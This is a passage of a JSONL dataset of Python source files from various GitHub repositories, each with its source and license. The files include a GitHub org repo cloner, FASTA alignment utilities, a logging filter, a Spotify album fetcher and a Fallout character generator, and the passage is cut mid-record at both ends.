'__main__':\n debug_main()\n", "source": "jeppeter/py-obcode", "license": "BSD-Source-Code"}
+{"text": "\nimport sys\nimport os\nimport urllib2\nfrom bs4 import BeautifulSoup as bsoup\n\nprint sys.argv\n\nif len(sys.argv) < 3:\n print \"Usage example: python copy.py Netflix /path/to/target-repo-directory\"\n sys.exit(1)\n\norgurl = sys.argv[1]\ntargetdir = sys.argv[2]\n\norgurl = \"https://www.github.com/%s?page=1\" % orgurl\n\nprint \"clonning all repos from\", orgurl\n# move to targetdir\nprint \"target dir\", targetdir\nos.chdir(targetdir)\n\n\n# read page\ndef read_page(url):\n print \"reading\", url\n response = urllib2.urlopen(url)\n return bsoup(response.read(), \"html.parser\")\n\ndef grab_last_page(page_content):\n pages = page_content.find(\"div\", class_=\"paginate-container\").find_all(\"a\")\n if len(pages) > 3:\n return int (pages[-2].text)\n else:\n return \"1\"\n \n\ndef extract_repo_links(page_content):\n return (elem.attrs[\"href\"] for elem in page_content.find_all(\"a\", itemprop=\"name codeRepository\"))\n\ndef clone_repo(link):\n repo_full_url = \"https://github.com%s.git\" % link\n os.system(\"git clone %s\" % repo_full_url)\n # print (\"git clone %s\" % repo_full_url)\n\n# get the last page number from \"div.paginate-container\" of 1st page\npage_content = read_page(orgurl + \"1\")\nlast_page_number = grab_last_page(page_content)\n\n\n# print (page_content)\nprint (last_page_number)\n\n# firsr page\nfor link in extract_repo_links(page_content):\n clone_repo(link)\n\nif grab_last_page > 0:\n for pagenum in xrange(2,last_page_number+1):\n page_content = read_page(orgurl + str(pagenum))\n for link in extract_repo_links(page_content):\n clone_repo(link)\n", "source": "tzuryby/copyip", "license": "Apache-2.0"}
+{"text": "from typing import List, NoReturn\nfrom lib.t import T\n\nclass Lecture: # Vorlesungen/F\u00e4cher\n subject: str\n room: str\n schedule: List[T]\n\n def __init__(self,\n subject: str,\n room: str,\n *schedule: T\n ) -> NoReturn:\n self.subject = subject\n self.room = room\n self.schedule = schedule\n\n def pprint(self,\n n: int\n ) -> str:\n ret: str = self.schedule[n].pprint() + \": \" + self.subject\n ret += \" (\" + self.__get_room_for_lecture(n) + \")\"\n return ret\n\n def __get_room_for_lecture(self,\n n: int) -> str:\n if self.schedule[n].room is None:\n return self.room\n return self.schedule[n].room\n", "source": "kfkonrad/py-stundenplan", "license": "MIT"}
+{"text": "import logging\nfrom typing import Any, Dict, List\nfrom unittest import TestCase\n\nimport pytest\nfrom grapl_analyzerlib.nodes.lens import LensQuery, LensView\nfrom grapl_tests_common.clients.engagement_edge_client import EngagementEdgeClient\nfrom grapl_tests_common.clients.graphql_endpoint_client import GraphqlEndpointClient\nfrom grapl_tests_common.wait import WaitForCondition, WaitForQuery, wait_for_one\n\nLENS_NAME = \"DESKTOP-FVSHABR\"\n\nGqlLensDict = Dict[str, Any]\n\n\n@pytest.mark.integration_test\nclass TestEndToEnd(TestCase):\n def test_expected_data_in_dgraph(self) -> None:\n # There is some unidentified, nondeterministic failure with e2e.\n # We fall into one of three buckets:\n # - No lens\n # - Lens with 3 scope\n # - Lens with 4 scope\n # - Lens with 5 scope (correct)\n\n query = LensQuery().with_lens_name(LENS_NAME)\n lens: LensView = wait_for_one(WaitForQuery(query), timeout_secs=120)\n assert lens.get_lens_name() == LENS_NAME\n\n # lens scope is not atomic\n def condition() -> bool:\n length = len(lens.get_scope())\n logging.info(f\"Expected 3-5 nodes in scope, currently is {length}\")\n\n # The correct answer for this is 5.\n # We are temp 'allowing' below that because it means the pipeline is, _mostly_, working.\n return length in (\n 3,\n 4,\n 5,\n )\n\n wait_for_one(WaitForCondition(condition), timeout_secs=240)\n\n gql_client = GraphqlEndpointClient(jwt=EngagementEdgeClient().get_jwt())\n ensure_graphql_lens_scope_no_errors(gql_client, LENS_NAME)\n\n\ndef ensure_graphql_lens_scope_no_errors(\n gql_client: GraphqlEndpointClient,\n lens_name: str,\n) -> None:\n \"\"\"\n Eventually we'd want more-robust checks here, but this is an acceptable\n smoke test in the mean time.\n \"\"\"\n gql_lens = gql_client.query_for_scope(lens_name=lens_name)\n assert len(gql_lens[\"scope\"]) in (3, 4, 5)\n\n # Accumulate [\"Asset\"], [\"Process\"] into Set(\"Asset, Process\")\n all_types_in_scope = set(\n sum((node[\"dgraph_type\"] for node in gql_lens[\"scope\"]), [])\n )\n assert all_types_in_scope == set(\n (\n \"Asset\",\n \"Process\",\n )\n )\n", "source": "hxnyk/grapl", "license": "Apache-2.0"}
+{"text": "class Solution:\n def moveZeroes(self, nums: List[int]) -> None:\n \n non_zeros = [i for i in range(len(nums)) if nums[i] != 0] # List comprehension to keep only numbers that are non -zero\n nz = len(non_zeros) \n nums[:nz] = [nums[i] for i in non_zeros] # edit the list to add non zero numbers to the list \n nums[nz:] = [0] *(len(nums)-nz) #dd zeroes at the end", "source": "rahil-1407/Data-Structure-and-Algorithms", "license": "MIT"}
+{"text": "\"\"\"rethinkDB connection\"\"\"\nimport rethinkdb as r\n\n\nclass Connection(object):\n \"\"\"RethinkDB Connection handler\"\"\"\n __connection__ = None\n __db__ = None\n __host__ = None\n __port__ = None\n __user__ = None\n __password__ = None\n __session__ = None\n __table__ = None\n\n def __init__(self,\n host,\n port,\n user,\n password,\n db,\n **kw):\n self.__db__ = db\n self.__host__ = host\n self.__password__ = password\n self.__port__ = port\n self.__user__ = user\n self.__table__ = kw.get('table')\n self._setup_connection(**kw)\n\n def _setup_connection(self, **kw):\n if self.__connection__ is None:\n self.__connection__ = r.connect(host=self.host,\n port=self.port,\n user=self.user,\n password=self.password,\n db=self.db,\n **kw)\n\n @property\n def db(self):\n return self.__db__\n\n @property\n def host(self):\n return self.__host__\n\n @property\n def password(self):\n return self.__password__\n\n @property\n def port(self):\n return self.__port__\n\n @property\n def session(self):\n \"\"\"get the connection to the database\"\"\"\n if self.__connection__ == None:\n self._setup_connection()\n\n return self.__connection__\n\n @property\n def table(self):\n return self.__table__\n\n @property\n def user(self):\n return self.__user__\n\n def close(self):\n if self.__session__:\n self.session.close()\n\n def remove(self):\n \"\"\"close and remove the connection\"\"\"\n self.close()\n self.__connection__ = None\n\n def commit(self):\n \"\"\"call run on the db\"\"\"\n return\n\n def open(self):\n \"\"\"\n close the connection if it is open\n reopen a new connection to the DB\"\"\"\n self.session.reconnect()\n\n @property\n def connect(self):\n \"\"\"make the connection; create a connection if it does not\n exist.\n \"\"\"\n self._setup_connection()\n\n @property\n def created(self):\n return r.now()\n\n modified = created\n\n @property\n def model(self):\n \"\"\"create a model of the record to store in the database\n \"\"\"\n return self.__model__\n\n @property\n def r(self):\n return r\n", "source": "sawdog/pyramidbridge", "license": "MIT"}
+{"text": "default_mapping = {\n 'Recipient Name': 'recipient_name',\n 'Recipient DUNS Number': 'recipient_unique_id',\n 'Awarding Agency': 'awarding_toptier_agency_name',\n 'Awarding Agency Code': 'awarding_toptier_agency_code',\n 'Awarding Sub Agency': 'awarding_subtier_agency_name',\n 'Awarding Sub Agency Code': 'awarding_subtier_agency_code',\n 'Funding Agency': 'funding_toptier_agency_name', # Leave in for possible future use\n 'Funding Agency Code': 'funding_toptier_agency_code', # Leave in for possible future use\n 'Funding Sub Agency': 'funding_subtier_agency_name', # Leave in for possible future use\n 'Funding Sub Agency Code': 'funding_subtier_agency_code', # Leave in for possible future use\n 'Place of Performance City Code': 'pop_city_code',\n 'Place of Performance State Code': 'pop_state_code',\n 'Place of Performance Country Code': 'pop_country_code',\n 'Place of Performance Zip5': 'pop_zip5',\n 'Period of Performance Start Date': 'period_of_performance_start_date',\n 'Period of Performance Current End Date': 'period_of_performance_current_end_date',\n 'Description': 'description',\n 'Last Modified Date': 'last_modified_date',\n 'Base Obligation Date': 'date_signed',\n}\n\naward_contracts_mapping = default_mapping.copy()\ngrant_award_mapping = default_mapping.copy()\nloan_award_mapping = default_mapping.copy()\ndirect_payment_award_mapping = default_mapping.copy()\nother_award_mapping = default_mapping.copy()\n\naward_contracts_mapping.update({\n 'Award ID': 'piid',\n 'Start Date': 'period_of_performance_start_date',\n 'End Date': 'period_of_performance_current_end_date',\n 'Award Amount': 'total_obligation',\n 'Contract Award Type': 'type_description',\n\n})\n\ngrant_award_mapping.update({\n 'Award ID': 'fain',\n 'Start Date': 'period_of_performance_start_date',\n 'End Date': 'period_of_performance_current_end_date',\n 'Award Amount': 'total_obligation',\n 'Award Type': 'type_description',\n 'SAI Number': 'sai_number',\n 'CFDA Number': 'cfda_number'\n})\n\nloan_award_mapping.update({\n 'Award ID': 'fain',\n 'Issued Date': 'action_date',\n 'Loan Value': 'total_loan_value',\n 'Subsidy Cost': 'total_subsidy_cost',\n 'SAI Number': 'sai_number',\n 'CFDA Number': 'cfda_number'\n})\n\ndirect_payment_award_mapping.update({\n 'Award ID': 'fain',\n 'Start Date': 'period_of_performance_start_date',\n 'End Date': 'period_of_performance_current_end_date',\n 'Award Amount': 'total_obligation',\n 'Award Type': 'type_description',\n 'SAI Number': 'sai_number',\n 'CFDA Number': 'cfda_number'\n})\n\nother_award_mapping.update({\n 'Award ID': 'fain',\n 'Start Date': 'period_of_performance_start_date',\n 'End Date': 'period_of_performance_current_end_date',\n 'Award Amount': 'total_obligation',\n 'Award Type': 'type_description',\n 'SAI Number': 'sai_number',\n 'CFDA Number': 'cfda_number'\n})\n\naward_assistance_mapping = {**grant_award_mapping, **loan_award_mapping, **direct_payment_award_mapping,\n **other_award_mapping}\nnon_loan_assistance_award_mapping = assistance_award_mapping = {**grant_award_mapping, **direct_payment_award_mapping,\n **other_award_mapping}\n", "source": "animatecitizen/usaspending-api", "license": "CC0-1.0"}
+{"text": "from collections import Counter\nimport typing\nfrom pathlib import Path\nimport subprocess\nimport os\n\n\ndef run_muscle(guide_alignment, in_file, out_file):\n\n command = ['muscle', '-quiet', '-profile', '-in1', guide_alignment, '-in2', in_file, '-out', out_file]\n\n subprocess.check_call(command)\n\ndef add_sequences_to_alignment(new_fasta_file, old_fasta_file, out_file):\n run_muscle(old_fasta_file, new_fasta_file, out_file)\n alignment = get_sequences_from_fasta(out_file)\n return alignment\n\n\ndef get_sequences_from_fasta_yield(fasta_file: typing.Union[str, Path]) -> tuple:\n \"\"\"\n Returns (accession, sequence) iterator\n Parameters\n ----------\n fasta_file\n\n Returns\n -------\n (accession, sequence)\n \"\"\"\n with open(fasta_file) as f:\n current_sequence = \"\"\n current_key = None\n for line in f:\n if not len(line.strip()):\n continue\n if \">\" in line:\n if current_key is None:\n current_key = line.split(\">\")[1].strip()\n else:\n yield current_key, current_sequence\n current_sequence = \"\"\n current_key = line.split(\">\")[1].strip()\n else:\n current_sequence += line.strip()\n yield current_key, current_sequence\n\n\ndef get_sequences_from_fasta(fasta_file: typing.Union[str, Path]) -> dict:\n \"\"\"\n Returns dict of accession to sequence from fasta file\n Parameters\n ----------\n fasta_file\n\n Returns\n -------\n {accession:sequence}\n \"\"\"\n return {\n key: sequence for (key, sequence) in get_sequences_from_fasta_yield(fasta_file)\n }\n\n\ndef get_alignment_subselection(\n alignment: typing.Dict[str, str], keys: typing.List[str], error: bool = True\n):\n \"\"\"\n Obtain a subselection of full sequence alignment\n\n Parameters\n ----------\n alignment\n dict of key: aligned sequence\n keys\n set of keys to include in the output alignment\n error\n if True, errors if key not in alignment\n Returns\n -------\n dictionary of aligned sequences\n \"\"\"\n # compile fasta of selected headers\n if error:\n for key in keys:\n assert key in alignment, f\"{key} not found in alignment\"\n else:\n keys = [k for k in keys if k in alignment]\n alignment_length = len(alignment[keys[0]])\n\n # find positions where all sequences have a break\n breaks = set()\n for i in range(alignment_length):\n if all(alignment[key][i] == \"-\" for key in keys):\n breaks.add(i)\n\n # keep only char's where not all sequences have a break\n sub_alignment = {}\n for key in keys:\n sub_alignment[key] = \"\".join(\n [char for idx, char in enumerate(alignment[key]) if idx not in breaks]\n )\n return sub_alignment\n\n\ndef alignment_to_fasta(alignment: typing.Dict[str, str]) -> str:\n \"\"\"\n Convert alignment dict to fasta format\n\n Parameters\n ----------\n alignment\n dict of key: aligned sequence\n\n Returns\n -------\n fasta-formatted string\n \"\"\"\n fasta = []\n for key, sequence in alignment.items():\n fasta.append(f\">{key}\\n{sequence}\")\n return \"\\n\".join(fasta)\n\n\ndef alignment_conservation(alignment: typing.Dict[str, str]) -> typing.List[float]:\n \"\"\"\n Obtain residue conservations of each position in a sequence alignment\n\n Parameters\n ----------\n alignment\n dict of key: aligned sequence\n\n Returns\n -------\n list of conservation values\n \"\"\"\n conservations = []\n length = len(alignment[list(alignment.keys())[0]])\n for pos in range(length):\n aligned_residues_count = Counter(\n [alignment[key][pos] for key in alignment if alignment[key][pos] != \"-\"]\n )\n conservation = aligned_residues_count.most_common(1)[0][1] / len(alignment)\n conservations.append(conservation)\n return conservations\n\n\ndef format_as_fasta(alignment):\n fasta = []\n for key in alignment:\n fasta.append(f\">{key}\\n{alignment[key]}\\n\")\n return \"\".join(fasta)\n", "source": "BTheDragonMaster/turterra", "license": "MIT"}
+{"text": "import collections\nimport datetime\nimport json\nimport logging\nimport time\n\n# Python 2 compatibility\ntry:\n from logging.handlers import QueueHandler\nexcept ImportError:\n from logutils.queue import QueueHandler\n\n\n# Python 2/3 hack for stringify, below\ntry:\n unicode\nexcept NameError:\n unicode = str\n\n\nnocolor = 0\nred = 31\ngreen = 32\nyellow = 33\nblue = 34\ngray = 37\nstarttime = time.time()\n\n\ndef secs_since(starttime):\n \"\"\"Return the (padded) number of whole seconds since `starttime`.\n\n :param starttime: time to calculate seconds since\n :type starttime: int number of seconds since the epoch\n :returns: number of seconds since starttime padded to 4 with 0s\n :rtype: str\n \"\"\"\n return '{0:0>4}'.format(int(time.time() - starttime))\n\n\ndef strtime():\n \"\"\"Return the current time in a string conforming to RFC3339.\n\n :returns: current time in RFC3339 format\n :rtype: str\n \"\"\"\n\n curr_time = time.time()\n fmtd_time = time.strftime('%Y-%m-%dT%H:%M:%S', time.localtime(curr_time))\n\n utc_offset = ((datetime.datetime.fromtimestamp(curr_time) -\n datetime.datetime.utcfromtimestamp(curr_time)).\n total_seconds())\n utc_hours = int(utc_offset // 3600)\n utc_mins = abs(int(utc_offset % 3600 // 60))\n\n return '{0}{1:0=+3}:{2:0>2}'.format(fmtd_time, utc_hours, utc_mins)\n\n\ndef levelcolor(level):\n \"\"\"Return the terminal color number appropriate for the logging level.\n\n :param int level: logging level in integer form\n :returns: the SGR parameter number for foreground text color\n :rtype: int\n \"\"\"\n\n if level == logging.DEBUG:\n return green\n elif level == logging.WARNING:\n return yellow\n elif level in (logging.ERROR, logging.CRITICAL):\n return red\n else:\n return blue\n\n\nclass DictLogFilter(object):\n \"\"\"A logging 'filter' that adds arbitrary data to messages.\n\n Depending on the output format type in self.output the filter converts a\n dict-type log msg to the appropriate format. The formats are intended to\n mimic the Sirupsen/logrus formats and are: 'json', 'text', and 'tty'. If\n self.output is None or a different string, 'json' formatting is used.\n\n The 'json' output format is a valid json object with current time and log\n level added to the log msg dict.\n\n The 'text' output is a 'key=val key=val' string with current time and log\n level added to the data from the log msg dict.\n\n The 'tty' output is a colorized output with the log level (truncated to\n four characters) followed by the number of seconds since program start\n followed by the 'msg' value from the log msg dict, followed by any other\n data from the dict in 'key=val key=val' format.\n \"\"\"\n\n def __init__(self, output=None):\n \"\"\"Create a DictLogFilter object, setting the output format if given.\n\n :param output: the output format\n :type output: None or str from ['json', 'text', or 'tty']\n :returns: a new DictLogFilter object\n :rtype: Dic)LogFilter\n \"\"\"\n self.output = output\n\n def filter(self, record):\n \"\"\"Format the log record if record.msg is a dict.\n\n Dispatch the record to appropriate '*filter' method depending on the\n the value of self.output. json formatting is the default.\n\n :param record: a log record instance\n :type record: logging.LogRecord\n :returns: always True to indicate the record should be handled\n :rtype: bool\n \"\"\"\n\n if not isinstance(record.msg, dict):\n return True\n\n if self.output == 'text':\n return self.text_filter(record)\n elif self.output == 'tty':\n return self.tty_filter(record)\n else:\n return self.json_filter(record)\n\n def json_filter(self, record):\n \"\"\"Format the log record in json style.\n\n :param record: a log record instance\n :type record: logging.LogRecord\n :returns: always True to indicate the record should be handled\n :rtype: bool\n \"\"\"\n # Add time and level entries.\n record.msg['time'] = strtime()\n record.msg['level'] = record.levelname.lower()\n\n # Ensure all keys and values are stringified to assist json.dumps.\n record.msg = stringify(record.msg)\n\n # Make sure msg is valid JSON.\n record.msg = json.dumps(record.msg)\n return True\n\n def tty_filter(self, record):\n \"\"\"Format the log record in tty style.\n\n :param record: a log record instance\n :type record: logging.LogRecord\n :returns: always True to indicate the record should be handled\n :rtype: bool\n \"\"\"\n\n # Ensure all keys and values are stringified.\n record.msg = stringify(record.msg)\n\n # Construct the start of the message.\n out = '\\x1b[{0}m{1}\\x1b[0m[{2}] {3}'.format(levelcolor(record.levelno),\n record.levelname[:4],\n secs_since(starttime),\n record.msg.get('msg', ''))\n\n # Pad to or truncate at 80 characters.\n out = '{0:<80}'.format(out)\n\n # Format into colorized k=v pairs\n for k, v in record.msg.items():\n if k != 'msg':\n out = out + ' \\x1b[{0}m{1}\\x1b[0m={2}'\\\n .format(levelcolor(record.levelno), k, v)\n\n record.msg = out\n\n return True\n\n def text_filter(self, record):\n \"\"\"Format the log record in text style.\n\n :param record: a log record instance\n :type record: logging.LogRecord\n :returns: always True to indicate the record should be handled\n :rtype: bool\n \"\"\"\n\n # Add time and level entries.\n record.msg['time'] = strtime()\n record.msg['level'] = record.levelname.lower()\n\n # Ensure all keys and values are stringified.\n record.msg = stringify(record.msg)\n\n # Attempt to meet the logfmt-compatible format.\n # Format into k=v pairs, quoting the v's.\n record.msg = ['{0}=\"{1}\"'.format(k, v) for k, v in record.msg.items()]\n\n # Join with a space\n record.msg = \" \".join(record.msg)\n\n return True\n\n\nclass DictQueueHandler(QueueHandler):\n \"\"\"A logging QueueHandler that does *not* convert dict msgs to strings.\n\n In order to make the log record picklable, the logging QueueHandler calls\n self.prepare, which calls self.format, before enqueuing the log record.\n This is problematic for the DictLogFilter because it converts the dict into\n a string. See https://hg.python.org/cpython/file/3.5/Lib/logging/handlers.py#l1289\n for details.\n \n This handler attempts to make the log record picklable without converting\n dict msgs to strings. If the msg is a dict, it reconstructs the dict with\n the result of calling str on all its items. If args exist, it does the same\n there. If exc_info exists, it uses self.formatter.formatException to\n convert it to string and then stores it in the exc_text attribute and wipes\n exc_info.\n \"\"\" # noqa\n\n formatter = logging.Formatter()\n\n def prepare(self, record):\n \"\"\"Prepare the log record for pickling.\n\n If record.msg is a mapping, call str on all its items. If record.args\n is a sequence or mapping, call str on all its items. Convert\n record.exc_info to a string at record.exc_text, using\n self.formatter.formatException, and wipe out record.exc_info.\n\n :param record: the log record to prepare\n :type record: logging.LogRecord\n :returns: the prepared log record\n :rtype: logging.LogRecord\n \"\"\"\n\n record.msg = stringify(record.msg)\n record.args = stringify(record.args)\n\n if record.exc_info:\n record.exc_text = self.formatter.formatException(record.exc_info)\n record.exc_info = None\n\n return record\n\n\ndef stringify(obj):\n \"\"\"Recursively str() an object, leaving mappings and sequences.\"\"\"\n if isinstance(obj, str):\n new_obj = obj\n elif isinstance(obj, unicode):\n new_obj = str(obj)\n elif isinstance(obj, collections.Mapping):\n new_obj = {str(k): stringify(v) for k, v in obj.items()}\n elif isinstance(obj, collections.Sequence):\n new_obj = [stringify(i) for i in obj]\n else:\n new_obj = str(obj)\n return new_obj\n", "source": "PEDSnet/pedsnetdcc", "license": "BSD-2-Clause"}
+{"text": "import matplotlib.pyplot as plt\nimport seaborn as sns\n\n\ndef attention_visualization(att):\n sns.heatmap(att[0, :, :])\n plt.show()\n", "source": "arpit196/multihead-siamese-nets", "license": "MIT"}
+{"text": "\"\"\"Tests for RadiaCode 101 sensor component integration.\"\"\"\n", "source": "vooon/hass-radiacode", "license": "MIT"}
+{"text": "import logging\n\nfrom aitools.logic.core import Expression, Variable, LogicObject\nfrom aitools.logic.language import Language\nfrom aitools.logic.unification import Substitution\nfrom aitools.logic.utils import VariableSource\nfrom aitools.proofs.components import HandlerArgumentMode, HandlerSafety\nfrom aitools.proofs.knowledge_base import KnowledgeBase\nfrom aitools.proofs.language import Implies, Not\nfrom aitools.proofs.provers import TruthSubstitutionPremises, Prover, TruthSubstitution\n\nlogger = logging.getLogger(__name__)\n\nlanguage = Language()\n\nasync def restricted_modus_ponens(formula: LogicObject, substitution: Substitution, kb: KnowledgeBase):\n \"\"\"Restricted backward version of modus ponens, which won't perform recursive proof of implications\"\"\"\n v = VariableSource(language=language)\n if not (isinstance(formula, Expression) and formula.children[0] == Implies):\n rule_pattern = Implies(v.premise, formula)\n\n async for rule_proof in kb.async_prove(rule_pattern, previous_substitution=substitution):\n premise = rule_proof.substitution.get_bound_object_for(v.premise)\n async for premise_proof in kb.async_prove(premise, previous_substitution=rule_proof.substitution):\n yield TruthSubstitutionPremises(truth=True, substitution=premise_proof.substitution,\n premises=(rule_proof, premise_proof))\n\n\nRestrictedModusPonens = Prover(\n listened_formula=Variable(language=language), handler=restricted_modus_ponens, argument_mode=HandlerArgumentMode.RAW,\n pass_substitution_as=..., pass_knowledge_base_as='kb', pure=True, safety=HandlerSafety.SAFE\n)\n\n\nasync def closed_world_assumption(formula: LogicObject, substitution: Substitution, kb: KnowledgeBase):\n language = Language()\n v = VariableSource(language=language)\n match = Substitution.unify(formula, Not(v.P))\n if match is not None:\n try:\n await kb.async_prove(match.get_bound_object_for(v.P)).__anext__()\n except StopAsyncIteration:\n return TruthSubstitution(True, substitution)\n\n\nClosedWorldAssumption = Prover(\n listened_formula=Variable(language=language), handler=closed_world_assumption, argument_mode=HandlerArgumentMode.RAW,\n pass_substitution_as=..., pass_knowledge_base_as='kb', pure=True, safety=HandlerSafety.SAFE\n)\n", "source": "OneManEquipe/thinkerino", "license": "MIT"}
+{"text": "address_coordinate_cache = {}\n\n\ndef calculate_distance_address_store(address, store):\n address_latitude, address_longitude = get_coordinates_for_address(address)\n return calculate_distance_between_coordinates(address_latitude, address_longitude, store.latitude, store.longitude)\n\n\ndef calculate_distance_between_coordinates(latitude1, longitude1, latitude2, longitude2):\n from math import sin, cos, sqrt, atan2, radians\n # approximate radius of earth in km\n R = 6373.0\n\n lat1 = radians(float(latitude1))\n lon1 = radians(float(longitude1))\n lat2 = radians(float(latitude2))\n lon2 = radians(float(longitude2))\n dlon = lon2 - lon1\n dlat = lat2 - lat1\n a = sin(dlat / 2) ** 2 + cos(lat1) * cos(lat2) * sin(dlon / 2) ** 2\n c = 2 * atan2(sqrt(a), sqrt(1 - a))\n distance = R * c\n return distance\n\n\ndef get_coordinates_for_address(address):\n import json\n import urllib3\n http = urllib3.PoolManager()\n # Cache the coordinates\n\n if address not in address_coordinate_cache:\n r = http.request('GET',\n f\"https://nominatim.openstreetmap.org/search/{address}?format=json\")\n location_data = json.loads(r.data)\n address_coordinate_cache[address] = (location_data[0][\"lat\"], location_data[0][\"lon\"])\n return address_coordinate_cache[address]\n", "source": "felixwoestmann/gold_digger", "license": "MIT"}
+{"text": "import logging\nfrom ktrade.config import is_configured, configuration_for\nfrom time import sleep\nfrom ktrade.queues import inbound_queue, outbound_queue\nfrom ibapi.client import EClient\nfrom ibapi.wrapper import EWrapper\nfrom threading import Thread\n\nclass IBApi(EWrapper, EClient):\n def __init__(self):\n EClient.__init__(self, self)\n\ndef ib_loop(api):\n api.run()\n\ndef start_listening(app):\n \"\"\" The main entry point to the background thread which is responsible\n for sending and receiving messages to and from TWS\n \"\"\"\n ib = IBApi()\n log = logging.getLogger(__name__)\n connected = False\n\n with app.app_context():\n log.debug(\"Started IB background thread\")\n\n while not connected:\n # sleep(5)\n if (is_configured()):\n # # App is configured, lets get connecting!\n log.debug(\"App configured. Connecting to TWS\")\n host = configuration_for(\"tws_host\").value\n port = configuration_for(\"tws_port\").value\n\n ib.connect(host, int(port), 1)\n api_thread = Thread(target=ib_loop, daemon=True, args=[ib])\n api_thread.start()\n connected = True\n else:\n # Not configured. We'll wait a bit then try again\n log.debug(\"App not configured. Will retry in 5 seconds\")\n sleep(5)\n\n # Now we're connected, we wait for message from the client\n log.info(\"TWS connected. Awaiting messages...\")\n while True:\n message = inbound_queue.get(block=True)\n log.info(f'Received message: {message.message_type}')\n", "source": "ShabbirHasan1/ktrade", "license": "MIT"}
+{"text": "import requests\nfrom datetime import timedelta\n\nfrom app.spotify_api import get_auth_header\n\n\ndef get_albums(data):\n result = []\n for item in data:\n skip = False\n header = get_auth_header()\n songs_r = requests.get(f'https://api.spotify.com/v1/albums/{item[\"id\"]}/tracks', headers=header)\n if songs_r.status_code == 200:\n if not songs_r.json()['items'][0]['preview_url']:\n continue\n else:\n songs = []\n counter = 1\n for song in songs_r.json()['items']:\n sound_url = song['preview_url']\n if not sound_url:\n skip = True\n break;\n song_name = song['name']\n spt_song_id = song['id']\n order_number = counter\n counter += 1\n duration = str(timedelta(milliseconds=song['duration_ms']))[2:7]\n songs.append({\n 'spt_song_id': spt_song_id,\n 'song_name': song_name,\n 'order_number': order_number,\n 'duration': duration,\n 'sound_url': sound_url\n })\n\n if skip:\n continue\n spt_album_id = item['id']\n cover_image_url = item['images'][0]['url']\n album_name = item['name']\n artists = []\n for artist in item['artists']:\n r_artist = requests.get(artist['href'], headers=header)\n if r_artist.status_code == 200:\n artist_cover_img_url = r_artist.json()['images'][0]['url']\n spt_artist_id = artist['id']\n artist_name = artist['name']\n else:\n print(f'There was an error fetching {artist[\"name\"]}\\'s image.')\n continue\n artists.append({\n 'spt_artist_id': spt_artist_id,\n 'artist_name': artist_name,\n 'cover_image_url': artist_cover_img_url\n })\n result.append({\n 'spt_album_id': spt_album_id,\n 'cover_image_url': cover_image_url,\n 'album_name': album_name,\n 'artists': artists,\n 'songs': songs\n })\n return result\n\n", "source": "PlatziMasterSound/MasterSound-DataScience", "license": "MIT"}
+{"text": "\"\"\"Create a Character Generator for Fallout 4.\"\"\"\n\n# print(\"You awake from 200 years in deep freeze. The wasteland awaits you.\")\n# name = input(\"What's your name? \")\n# gender = input(\"What's your gender? \")\n# points = 21\n# attributes = (\"Strength\", \"Perception\", \"Endurance\", \"Charisma\", \"Intelligence\", \"Agility\", \"Luck\")\n# strength = 1\n# perception = 1\n# endurance = 1\n# charisma = 1\n# intelligence = 1\n# agility = 1\n# luck = 1\n\n# while True:\n# print\n# print(\"You have \", points, \"points left.\")\n# print(\n# \"\"\"\n# 1 - add points\n# 2 - remove points\n# 3 - see points per attribute\n# 4 - exit\n# \"\"\")\n\n # choice = input(\"choice: \").upper()\n # if choice == \"1\":\n # attribute = input(\"which attribute? S. P. E. C. I. A. L.?\")\n # if attribute in attributes:\n # add = int(input(\"How many points? \"))\n # if add <= points and add > 0:\n # if attribute == \"S\" or attribute == \"s\":\n # strength += add\n # print(name, \"now has \", strength, \"strength points.\")\n # elif attribute == \"P\":\n # perception += add\n # print(name, \"now has \", perception, \"perception points.\")\n # elif attribute == \"E\":\n # endurance += add\n # print(name, \"now has \", endurance, \"endurance points.\")\n # elif attribute == \"C\":\n # charisma += add\n # print(name, \"now has \", charisma, \"charisma points.\")\n # elif attribute == \"I\":\n # intelligence += add\n # print(name, \"now has \", intelligence, \"intelligence points.\")\n # elif attribute == \"A\":\n # agility += add\n # print(name, \"now has \", agility, \"agility points.\")\n # elif attribute == \"L\":\n # luck += add\n # print(name, \"now has \", luck, \"luck points.\")\n # points -= add\n # else:\n # print(\"Invalid attribute. You are likely to be eaten by a Grue.\")\n # elif choice == \"2\":\n # if attribute in attributes:\n # remove = int(input(\"How many points? \"))\n # # if remove <= points and remove > 0:\n # if attribute == \"S\" or attribute == \"s\" and remove <= strength and remove > 1:\n # strength -= remove\n # print(name, \"now has \", strength, \"strength points.\")\n # points += remove\n # elif attribute == \"P\" and remove <= strength and remove > 1:\n # perception -= remove\n # print(name, \"now has \", perception, \"perception points.\")\n # points += remove\n # elif attribute == \"E\" and remove <= strength and remove > 1:\n # endurance -= remove\n # print(name, \"now has \", endurance, \"endurance points.\")\n # points += remove\n # elif attribute == \"C\" and remove <= strength and remove > 1:\n # charisma -= remove\n # print(name, \"now has \", charisma, \"charisma points.\")\n # points += remove\n # elif attribute == \"I\" and remove <= strength and remove > 1:\n # intelligence -= remove\n # print(name, \"now has \", intelligence, \"intelligence points.\")\n # points += remove\n # elif attribute == \"A\" and remove <= strength and remove > 1:\n # agility -= remove\n # print(name, \"now has \", agility, \"agility points.\")\n # points += remove\n # elif attribute == \"L\" and remove <= strength and remove > 1:\n # luck -= remove\n # print(name, \"now has \", luck, \"luck points.\")\n # points += remove\n # points += remove\n # else:\n # print(\"Invalid attribute. You are likely to be eaten by a Grue.\")\n # elif choice == \"3\":\n # print(\"Strength: \"), strength\n # print(\"Perception: \"), perception\n # print(\"Endurance: \"), endurance\n # print(\"Charisma: \"), charisma\n # print(\"Intellignce: \"), intelligence\n # print(\"Agility: \"), agility\n # print(\"Luck: \"), luck\n\n\ndef create_character():\n \"\"\"Set up the character creation method.\"\"\"\n attribute = input(\"\\nwhich attribute? S. P. E. C. I. A. L.?\").upper()\n\n if attribute in my_character.keys():\n amount = int(input(\"By how much?\"))\n\n if (amount > my_character['points']) or (my_character['points'] <= 1):\n print(\"Not enough points!\")\n else:\n my_character[attribute] += amount\n my_character['points'] -= amount\n else:\n print(\"\\nThat attribute doesn't exist!\\n\")\n\n\ndef print_character():\n \"\"\"Display the character stats for the user.\"\"\"\n for attribute in my_character.keys():\n print(attribute, \" : \", my_character[attribute])\n\n# MAIN FUNCTION\n\nmy_character = {'name': '', 'S': 1, 'P': 1, 'E': 1, 'C': 1, 'I': 1, 'A': 1, 'L': 1, 'points': 21}\nrunning = True\n\nprint(\"You awake from 200 years in deep freeze. The wasteland awaits you.\")\n\nmy_character['name'] = input(\"What is your character's name? \")\n\nwhile running:\n print(\"\\nYou have \", my_character['points'], 